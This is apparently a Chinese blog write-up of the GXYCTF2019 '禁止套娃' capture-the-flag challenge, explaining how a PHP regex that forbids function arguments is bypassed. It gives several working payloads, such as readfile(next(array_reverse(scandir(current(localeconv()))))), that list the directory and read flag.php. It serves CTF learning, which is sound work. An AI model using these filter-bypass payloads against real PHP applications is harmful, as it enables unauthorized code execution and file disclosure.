[GXYCTF2019]禁止套娃

 

git泄露获取源码

使用GET传参,参数为exp

经过三层过滤执行

第一层过滤伪协议,第二层过滤带参数的函数,第三层过滤一些函数

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']

(?R)引用当前正则表达式,相当于匹配函数里的参数

因此传递的函数不能带有参数

首先查看当前目录里的文件:

print_r(scandir(current(localeconv())));

print_r(scandir(pos(localeconv())));

scandir — 列出指定路径中的文件和目录

current — 返回数组中的当前单元

pos — current() 的别名

localeconv--获取数字格式信息,它返回一个数组,第一个值为'.'

而current返回数组的当前单元,所以:

print_r(scandir(current(localeconv()))) = print_r(scandir('.'));

这样就显示了目录下的文件,下面需要获取flag文件

  1. array_reverse()函数

    以相反的元素顺序返回数组:array_reverse()函数将原数组中的元素顺序翻转,创建新的数组并返回

payload:

        print_r(array_reverse(scandir(current(localeconv()))));

  1. array_rand(array_flip())

array_flip — 交换数组中的键和值

array_rand — 从数组中随机取出一个或多个单元

这样会随机返回文件名,多刷新几次就可以获取falg文件

payload:

        print_r(array_rand(array_flip(scandir(current(localeconv())))));

  1. session_id(session_start())

既然获取了flag.php文件现在就是要读取它

可以使用readfile()、highlight_file()及别名函数show_source()

payload:

    print_r(readfile(next(array_reverse(scandir(current(localeconv()))))));

next — 将数组中的内部指针向前移动一位

 

payload:

print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

payload:

    readfile(session_id(session_start()));

 

参考: https://www.cnblogs.com/wangtanzhi/p/12260986.html

posted @ 2020-08-09 20:48  JKding233  阅读(354)  评论(0编辑  收藏  举报